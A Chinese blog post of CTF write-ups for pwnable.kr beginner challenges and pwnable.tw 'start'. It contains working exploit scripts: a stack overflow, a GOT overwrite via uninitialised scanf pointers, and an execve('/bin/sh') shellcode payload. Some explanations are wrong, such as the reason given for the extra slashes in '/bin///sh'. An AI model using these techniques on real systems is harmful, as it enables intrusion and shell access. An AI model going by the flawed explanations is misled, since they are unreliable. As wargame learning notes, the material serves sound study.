pwnable游记

本文最后更新于:13 天前

刷题中记录知识盲点

pwnable.kr

Toddler’s Bottle

fd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
❯ ssh fd@pwnable.kr -p2222                                                                                 
fd@pwnable.kr's password:
____ __ __ ____ ____ ____ _ ___ __ _ ____
| \| |__| || \ / || \ | | / _] | |/ ]| \
| o ) | | || _ || o || o )| | / [_ | ' / | D )
| _/| | | || | || || || |___ | _] | \ | /
| | | ` ' || | || _ || O || || [_ __ | \| \
| | \ / | | || | || || || || || . || . \
|__| \_/\_/ |__|__||__|__||_____||_____||_____||__||__|\_||__|\_|

- Site admin : daehee87@khu.ac.kr
- irc.netgarage.org:6667 / #pwnable.kr
- Simply type "irssi" command to join IRC now
- files under /tmp can be erased anytime. make your directory under /tmp
- to use peda, issue `source /usr/share/peda/peda.py` in gdb terminal
You have mail.
Last login: Wed May 17 06:06:40 2023 from 95.91.223.13
fd@pwnable:~$ ls #先查看文件
fd fd.c flag
fd@pwnable:~$ ls -sl
total 16
8 -r-sr-x--- 1 fd_pwn fd 7322 Jun 11 2014 fd
4 -rw-r--r-- 1 root root 418 Jun 11 2014 fd.c
4 -r--r----- 1 fd_pwn root 50 Jun 11 2014 flag
fd@pwnable:~$ ls -al
total 40
drwxr-x--- 5 root fd 4096 Oct 26 2016 .
drwxr-xr-x 117 root root 4096 Nov 10 2022 ..
d--------- 2 root root 4096 Jun 12 2014 .bash_history
-r-sr-x--- 1 fd_pwn fd 7322 Jun 11 2014 fd
-rw-r--r-- 1 root root 418 Jun 11 2014 fd.c
-r--r----- 1 fd_pwn root 50 Jun 11 2014 flag
-rw------- 1 root root 128 Oct 26 2016 .gdb_history
dr-xr-xr-x 2 root root 4096 Dec 19 2016 .irssi
drwxr-xr-x 2 root root 4096 Oct 23 2016 .pwntools-cache
fd@pwnable:~$ cat fd.c #阅读fd.c文件
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;

}

fd@pwnable:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!#flag
fd@pwnable:~$ exit
logout
Connection to pwnable.kr closed.

知识点

一,

argc用来统计你运行程序时送给main函数的命令行参数的个数。

  • argv[ ]: 字符串数组,用来存放指向你的字符串参数的指针数组,每一个元素指向一个参数.
    argv[0] 指向程序运行的全路径名
    argv[1] 指向在DOS命令行中执行程序名后的第一个字符串
    argv[2] 指向执行程序名后的第二个字符串

    1
    2
    3
    4
    5
    6
    7
    8
    #include <stdio.h>

    int main(int argc, char **argv)
    {
    printf("argc = %d\n",argc);
    printf("argv[0] = %s, argv[1] = %s, argv[2] = %s \n", argv[0], argv[1], argv[2]);
    return 0;
    }
    1
    2
    3
    4
    5
    6
    7
    ❯ ./test love fanfan                                                                                       
    argc = 3
    argv[0] = ./test, argv[1] = love, argv[2] = fanfan
    ~/pwn/study ·················································································· 08:15:41 PM
    ❯ ./test love fanfan 1000years
    argc = 4
    argv[0] = ./test, argv[1] = love, argv[2] = fanfan

二,

linux环境下的fd

fd == 0为从标准输入读取
fd == 1为从标准输出读取
fd == 2为从标准错误输出读取

所以这道题的思路就是让fd=0,然后在标准输出字符串的内容,将它读到buff里面,最后通过系统调用,直接输出flag

三,

ls -al

  1. 第一列共10位,第1位表示文档类型,d表示目录,-表示文件,l表示链接文件,d表示可随机存取的设备,如U盘等,c表示一次性读取设备,如鼠标、键盘等。后9位,依次对应三种身份所拥有的权限,身份顺序为:owner、group、others,权限顺序为:readable、writable、executable。如:-r-xr-x---的含义为当前文档是一个文件,拥有者可读、可执行,同一个群组下的用户,可读、可执行,其他人没有任何权限

  2. 第二列表示链接数,表示有多少个文件链接到inode号码。

  3. 第三列表示拥有者

  4. 第四列表示所属群组

  5. 第五列表示文档容量大小,单位字节

  6. 第六列表示文档最后修改时间,注意不是文档的创建时间哦

  7. 第七列表示文档名称。以点(.)开头的是隐藏文档

col

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
col@pwnable:~$ cat col.c
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}

int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}

if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}

首先满足输入字节数是20,每四个字节会被强制转换成 int*加起来,要求结果为0x21DD9EC

1
2
3
4
5
6
7
8
int(0x21DD09EC)
568134124
568134124/5
113626824.8
568134124-4*113626824#1
113626828#2
hex(113626824)='0x6c5cec8'
hex(113626828)='0x6c5cecc'

所以我们构造4个’0x6c5cec8’和一个0x6c5cecc,注意是小端序,而且会出现不可见字符难以打印,所以使用python的命令行

1
2
col@pwnable:~$ python --version
Python 2.7.12
1
2
3
get flag
col@pwnable:~$ ./col `python -c "print '\x01\x01\x01\x01'*4 + '\xe8\x05\xd9\x1d'"`
daddy! I just managed to create a hash collision :)

bof

1
2
3
4
5
from pwn import *
r = remote("pwnable.kr",9000)
buf = b'a'*52 + p32(0xcafebabe)
r.send(buf)
r.interactive()

只要输入的overflowme覆盖掉key即可,只需要弄清楚多少个字节可以覆盖到key。

gdb调试

先在func下断点,layout asm进入反汇编窗口,单步到接收输入的地方。继续单步,输入AAAAAAAA,之后x/30x $esp查看栈空间,查看相差字节数

flag

strings查看壳的类型,upx

在kali中脱壳

1
2
3
4
5
6
7
8
9
10
$ upx -d flag
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2020
UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020

File size Ratio Format Name
-------------------- ------ ----------- -----------
883745 <- 335288 37.94% linux/amd64 flag

Unpacked 1 file.

脱完壳放入ida中shift+F12就能在rodata段找到真正的flag

passcode

查看

先通过ssh连接题目

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>

void login(){
int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}

void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}

int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

满足两个条件passcode1和passcode2的值为两个给定的值338150(0x528e6)和13371337(0xcc07c9),passcode1和passcode2通过scanf()输入,但是这里程序未使用&来取变量地址,所以会把这两个变量的值直接作为地址来存储输入的内容,两个变量初始化时未赋值,所以值是随机的,要想利用,那么就要想办法覆盖passcode1和passcode2的值,来控制scanf()对任意地址写入数据。welcome()和login()是两个连续调用的函数,所以对于栈空间的利用是会有部分重叠的,name限定了100字节的大小,可以考虑是否可以在这100个字节内修改道passcode1和passcode2的初始值,使其变得不随机。

下载

第一种通过pwntools下载

1
2
3
4
5
from pwn import *
if __name__=="__main__":
shell = ssh(host='pwnable.kr',user='passcode',port=2222,password='guest')
shell.download_file('passcode')

第二种通过MobaXterm连接(我所采用的)

思路

先看一下两个调用函数的反汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
pwndbg> disassemble main
Dump of assembler code for function main:
0x08048665 <+0>: push ebp
0x08048666 <+1>: mov ebp,esp
0x08048668 <+3>: and esp,0xfffffff0
0x0804866b <+6>: sub esp,0x10
0x0804866e <+9>: mov DWORD PTR [esp],0x80487f0
0x08048675 <+16>: call 0x8048450 <puts@plt>
0x0804867a <+21>: call 0x8048609 <welcome>
0x0804867f <+26>: call 0x8048564 <login>
0x08048684 <+31>: mov DWORD PTR [esp],0x8048818
0x0804868b <+38>: call 0x8048450 <puts@plt>
0x08048690 <+43>: mov eax,0x0
0x08048695 <+48>: leave
0x08048696 <+49>: ret
End of assembler dump.
pwndbg> disassemble welcome
Dump of assembler code for function welcome:
0x08048609 <+0>: push ebp
0x0804860a <+1>: mov ebp,esp
0x0804860c <+3>: sub esp,0x88
0x08048612 <+9>: mov eax,gs:0x14
0x08048618 <+15>: mov DWORD PTR [ebp-0xc],eax
0x0804861b <+18>: xor eax,eax
0x0804861d <+20>: mov eax,0x80487cb
0x08048622 <+25>: mov DWORD PTR [esp],eax
0x08048625 <+28>: call 0x8048420 <printf@plt>
0x0804862a <+33>: mov eax,0x80487dd
0x0804862f <+38>: lea edx,[ebp-0x70]
0x08048632 <+41>: mov DWORD PTR [esp+0x4],edx
0x08048636 <+45>: mov DWORD PTR [esp],eax
0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf@plt>
0x0804863e <+53>: mov eax,0x80487e3
0x08048643 <+58>: lea edx,[ebp-0x70]
0x08048646 <+61>: mov DWORD PTR [esp+0x4],edx
0x0804864a <+65>: mov DWORD PTR [esp],eax
0x0804864d <+68>: call 0x8048420 <printf@plt>
0x08048652 <+73>: mov eax,DWORD PTR [ebp-0xc]
0x08048655 <+76>: xor eax,DWORD PTR gs:0x14
0x0804865c <+83>: je 0x8048663 <welcome+90>
0x0804865e <+85>: call 0x8048440 <__stack_chk_fail@plt>
0x08048663 <+90>: leave
0x08048664 <+91>: ret
End of assembler dump.
pwndbg> disassemble login
Dump of assembler code for function login:
0x08048564 <+0>: push ebp
0x08048565 <+1>: mov ebp,esp
0x08048567 <+3>: sub esp,0x28
0x0804856a <+6>: mov eax,0x8048770
0x0804856f <+11>: mov DWORD PTR [esp],eax
0x08048572 <+14>: call 0x8048420 <printf@plt>
0x08048577 <+19>: mov eax,0x8048783
0x0804857c <+24>: mov edx,DWORD PTR [ebp-0x10]
0x0804857f <+27>: mov DWORD PTR [esp+0x4],edx
0x08048583 <+31>: mov DWORD PTR [esp],eax
0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt>
0x0804858b <+39>: mov eax,ds:0x804a02c
0x08048590 <+44>: mov DWORD PTR [esp],eax
0x08048593 <+47>: call 0x8048430 <fflush@plt>
0x08048598 <+52>: mov eax,0x8048786
0x0804859d <+57>: mov DWORD PTR [esp],eax
0x080485a0 <+60>: call 0x8048420 <printf@plt>
0x080485a5 <+65>: mov eax,0x8048783
0x080485aa <+70>: mov edx,DWORD PTR [ebp-0xc]
0x080485ad <+73>: mov DWORD PTR [esp+0x4],edx
0x080485b1 <+77>: mov DWORD PTR [esp],eax
0x080485b4 <+80>: call 0x80484a0 <__isoc99_scanf@plt>
0x080485b9 <+85>: mov DWORD PTR [esp],0x8048799
0x080485c0 <+92>: call 0x8048450 <puts@plt>
0x080485c5 <+97>: cmp DWORD PTR [ebp-0x10],0x528e6
0x080485cc <+104>: jne 0x80485f1 <login+141>
0x080485ce <+106>: cmp DWORD PTR [ebp-0xc],0xcc07c9
0x080485d5 <+113>: jne 0x80485f1 <login+141>
0x080485d7 <+115>: mov DWORD PTR [esp],0x80487a5
0x080485de <+122>: call 0x8048450 <puts@plt>
0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af
0x080485ea <+134>: call 0x8048460 <system@plt>
0x080485ef <+139>: leave
0x080485f0 <+140>: ret
0x080485f1 <+141>: mov DWORD PTR [esp],0x80487bd
0x080485f8 <+148>: call 0x8048450 <puts@plt>
0x080485fd <+153>: mov DWORD PTR [esp],0x0
0x08048604 <+160>: call 0x8048480 <exit@plt>
End of assembler dump.

直接去GOT中替换程序中用到的某个函数比如fflush(),即把passcode1替换为fflush()的地址,然后在scanf(“%d”,passcode1)时输入printf(“Login OK!\n”)所在地址,然后call fflush()时就可以直接跳过验证流程cat flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ objdump -R passcode                                           
passcode: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a02c R_386_COPY stdin@GLIBC_2.0
0804a000 R_386_JUMP_SLOT printf@GLIBC_2.0
0804a004 R_386_JUMP_SLOT fflush@GLIBC_2.0
0804a008 R_386_JUMP_SLOT __stack_chk_fail@GLIBC_2.4
0804a00c R_386_JUMP_SLOT puts@GLIBC_2.0
0804a010 R_386_JUMP_SLOT system@GLIBC_2.0
0804a014 R_386_JUMP_SLOT __gmon_start__
0804a018 R_386_JUMP_SLOT exit@GLIBC_2.0
0804a01c R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0
0804a020 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7

ssh 链接利用

1
2
#payload
python2 -c "print 'A'*0x60+'\x04\xa0\x04\x08'+str(0x080485d7)" | ./passcode

pwntools

1
2
3
4
5
6
7
8
9
from pwn import *
if __name__=="__main__":
shell = ssh(host='pwnable.kr',user='passcode',port=2222,password='guest')
fflushAddr = 0x0804a004
loginAddr = 0x080485d7 #system也可以
p = shell.process('passcode')
payload=flat('A'*0x60 , p32(fflushAddr),str(loginAddr))
p.send(payload)
p.interactive()

random

这是一道关于随机数的题目,先远程连接,查看文件权限,下载查看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>

int main(){
unsigned int random;
random = rand(); // random value!

unsigned int key=0;
scanf("%d", &key);

if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}

printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pwndbg> disassemble main
Dump of assembler code for function main:
0x00000000004005f4 <+0>: push rbp
0x00000000004005f5 <+1>: mov rbp,rsp
0x00000000004005f8 <+4>: sub rsp,0x10
0x00000000004005fc <+8>: mov eax,0x0
0x0000000000400601 <+13>: call 0x400500 <rand@plt>
0x0000000000400606 <+18>: mov DWORD PTR [rbp-0x4],eax
0x0000000000400609 <+21>: mov DWORD PTR [rbp-0x8],0x0
0x0000000000400610 <+28>: mov eax,0x400760
0x0000000000400615 <+33>: lea rdx,[rbp-0x8]
0x0000000000400619 <+37>: mov rsi,rdx
0x000000000040061c <+40>: mov rdi,rax
0x000000000040061f <+43>: mov eax,0x0
0x0000000000400624 <+48>: call 0x4004f0 <__isoc99_scanf@plt>
0x0000000000400629 <+53>: mov eax,DWORD PTR [rbp-0x8]
0x000000000040062c <+56>: xor eax,DWORD PTR [rbp-0x4]
0x000000000040062f <+59>: cmp eax,0xdeadbeef
0x0000000000400634 <+64>: jne 0x400656 <main+98>
0x0000000000400636 <+66>: mov edi,0x400763
0x000000000040063b <+71>: call 0x4004c0 <puts@plt>
0x0000000000400640 <+76>: mov edi,0x400769
0x0000000000400645 <+81>: mov eax,0x0
0x000000000040064a <+86>: call 0x4004d0 <system@plt>
0x000000000040064f <+91>: mov eax,0x0
0x0000000000400654 <+96>: jmp 0x400665 <main+113>
0x0000000000400656 <+98>: mov edi,0x400778
0x000000000040065b <+103>: call 0x4004c0 <puts@plt>
0x0000000000400660 <+108>: mov eax,0x0
0x0000000000400665 <+113>: leave
0x0000000000400666 <+114>: ret

cat flag的条件是随机数和key异或后的值

key通过scanf()接收的,random为随机生成的四字节数,但注意到scanf(“%d”,&key)这里使用了%d坐限制,使得key只能被赋值为一个DWORD(四字节)。

重点在于随机数random的生成。rand()是伪随机的,正常使用情况下需要在rand()之前生成一个随机数种子(一般使用时间作为随机数种子)作为rand()的参数来保证准确生成随机数。而这里直接使用rand(),随机数种子就是系统默认的1,会导致每次生成的random都是一个数。

所以我们直接编写一个poc先来试一下

1
2
3
4
5
6
7
8
9
#include<stdio.h>
#include<stdlib.h>

void main(){
unsigned int random, result;
random = rand();
result = 0xdeadbeef ^ random;
printf("%x", result);
}
1
2
3
4
5
6
7
8
❯ ./poc                                                                                       
b526fb88%
❯ python3
Python 3.10.6 (main, Mar 10 2023, 10:55:28) [GCC 11.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0xb526fb88
3039230856
>>>

然后试了一下直接getshell

动态调试

1
2
3
pwndbg> x/20x $rbp-0x4
0x7fffffffd91c: 0x6b8b4567 0x00000001 0x00000000 0xf7db5d90
0x7fffffffd92c: 0x00007fff 0x00000000 0x00000000 0x004005f4

random值存储在rbp-0x4处,本地调试和ssh远程调试得到的值都为:0x6b8b4567

input

下载源码和程序

观察,这是一个通过不同方式满足条件然后获得flag的题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");

// argv 100个参数,第一个为空,第二个为0x20 0x0a 0x0d
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");

// stdio 从stdin和stderr中读取4个字节,依次为0x00 0x0a 0x00 0xff和0x00 0x0a0x02 0xff
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

// env 环境变量中有一个名为"\xde\xad\xbe\xef"的变量值为"\xca\xfe\xba\xbe"
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

// file 当前目录下存在文件名为"\x0a",其中前4个字节为0x00 0x00 0x00 0x00
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

// network 监听任意端口,当有客户端连接时,收到4个字,为0xde 0xad 0xbe 0xef
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");

// here's your flag
system("/bin/cat flag");
return 0;
}


1、参数相关,输入100个参数,其中0x41和0x42个参数需要自己构造为对应的值

2、文件描述符相关,fd为0表示stdin,fd为2表示stderr,题目意思是先从stdin流中读取四个字节到buf,之后又从stderr流中读取四个字节到buf。可以通过创建子进程修改stdin和stderr的方式来完成绕过。

3、环境变量env相关,我们需要构造一个环境变量,来保证getenv()读取出来的是指定的字符串。分析到这里是已经知道可以通过参数env来传递需要设置的环境变量,但是第一次使用,不知道env对应的参数以什么格式传递。然后我去继续阅读了源码,发现Popen最终是通过os.execvpe()来传递对应的env进行子程序执行的,对os.exec系列函数进行查资料分析,发现这里环境变量对应的配置参数env必须是一个mapping对象,所以用dict即可

4、文件相关,读取指定的”\x0a”文件,且前四个字节为”\x00\x00\x00\x00”。这个我们自己造一个对应的文件填充内容即可。

5、网络相关,标准的套接字创建并接收流程。服务端绑定的端口通过argv[‘C’]传入,是可控的,我们只需要对localhost和对应的端口发起请求,send对应数据即可。

转载http://hskull.cn/2021/08/28/pwnable/pwnable.kr%E7%B3%BB%E5%88%9707-input/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import subprocess
import os
import socket
import time

if __name__=="__main__":
#argv
argv=list('A'*100)
argv[0]="./input"
argv[ord('A')]=b""
argv[ord('B')]=b"\x20\x0a\x0d"

#stdin
r_i,w_i = os.pipe()
r_e,w_e = os.pipe()
os.write(w_i,b"\x00\x0a\x00\xff")
os.write(w_e,b"\x00\x0a\x02\xff")

#env
env={b"\xde\xad\xbe\xef":b"\xca\xfe\xba\xbe"}

#file
try:
f=open(b"\x0a",'wb+')
except:
print("create file \x0a falid")
f.write(b"\x00\x00\x00\x00")
f.close()

argv[ord('C')]=b'5555'

subprocess.Popen(argv,stdin=r_i,stderr=r_e,env=env)
#network
time.sleep(1)
s=socket.socket()
s.connect(("127.0.0.1",5555))
s.send(b"\xde\xad\xbe\xef")

然后需要ssh链接后进心操作,我们通过scp,将exp文件(修改argv[0]对应input路径)上传到服务器中的tmp/imput/目录下(先ssh链接进入tmp下创建input目录,创建新目录是因为没有权限),然后通过软链接把flag和input拷贝一份到tmp/input/下来使得可以cat flag

1
2
3
scp -P2222 ./input-local.py input2@pwnable.kr:/tmp/input/exp.py
ln -s /home/input2/flag flag
ln -s /home/input2/input input

pwnable.tw

start

一道题打开我就有点懵,用ida打开只有start和exit函数,通过系统调用来调用函数,系统调用好保存到eax中,在执行完4号write系统调用和3号系统调用后饭后地址处是exit函数,发现即将执行ret时,esp指向地址的下一个地址是上一个栈上的地址

思路:将这个地址覆盖位mov ecx,esp,在重新执行write系统调用,就可以泄露出栈地址,输入shellcode跳转到shellcode即可

先找到偏移量20,我是用cyclic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context(arch = 'i386', os = 'linux')
p = remote('chall.pwnable.tw',10000)
mov = 0x08048087
p.recvuntil('Let\'s start the CTF:')
p.send(b'a'*0x14+p32(mov))
stack = p.recv(4)
stack = u32(stack)
print(hex(stack))

''' mov ebx,0xffffffff xor edx,edx xor ecx,ecx mov al,11 int 0x80 '''

pd = b'\xbb'+p32(stack-4+0x14+4)+b'1\xd21\xc9\xb0\x0b\xcd\x80'
pd += b'a'*(0x14-len(pd))+p32(stack-4)+b'/bin///sh\x00'
p.sendline(pd)

p.interactive()

下面是代码中各部分的具体解释:

  • b'\xbb':汇编指令,将寄存器 EBX 设置为下一个4字节的值。在本例中,它将设置为 stack-4+0x14+4 的值。
  • b'1\xd21\xc9\xb0\x0b\xcd\x80':这是一段汇编代码shellcode,包含了一些指令和参数。它将被用于利用栈溢出漏洞来执行恶意代码。具体来说,这段代码的作用是调用execve()系统调用来执行一个新程序。这里的参数(例如要执行的程序的路径)在代码中被硬编码了。 这段代码的目的是将由p32(stack-4+0x14+4)函数生成的栈地址存储到EBX寄存器中,然后执行execve()系统调用来执行一个新程序。由于p32()函数生成的是一个4字节的小端序字节序列,因EBX寄存器实际存储的值将是栈地址stack4+0x14+4。
  • pd += b'a'*(0x14-len(pd)):这一行的目的是为了填充字节串 pd,使其长度达到 0x14 个字节(20个字节)。它使用了字节 a 来填充,并且使用了 len(pd) 来计算需要填充的字节数。这样做是为了保证接下来的内容可以正确的定位到栈上的目标位置。
  • p32(stack-4):这部分代码使用了 p32() 函数来将 stack-4 的值转换为4字节的小端序字节序列。这个值将被放置在栈上的返回地址位置,以控制函数返回到指定的地址。
  • b'/bin///sh\x00':这是一个字符串,用于表示要执行的程序的路径。在栈溢出攻击中,这里将通常指定为一个需要执行的恶意程序路径,如 /bin/sh,以实现获取 shell 的目的。注意,这里的字符串中使用了多个斜杠 // 是因为在汇编中斜杠被用作特殊字符,因此需要转义。

这段代码的目的是构造一个完整的栈溢出攻击载荷。通过修改返回地址为 stack-4 的值(通过 p32(stack-4))并将恶意代码路径 /bin/sh 放在栈上,攻击者可以将程序的执行流转移到恶意代码上,并获得一个 shell 来执行任意命令


pwnable游记
http://example.com/2023/05/17/pwnable游记/
作者
fan fan
发布于
2023年5月17日
许可协议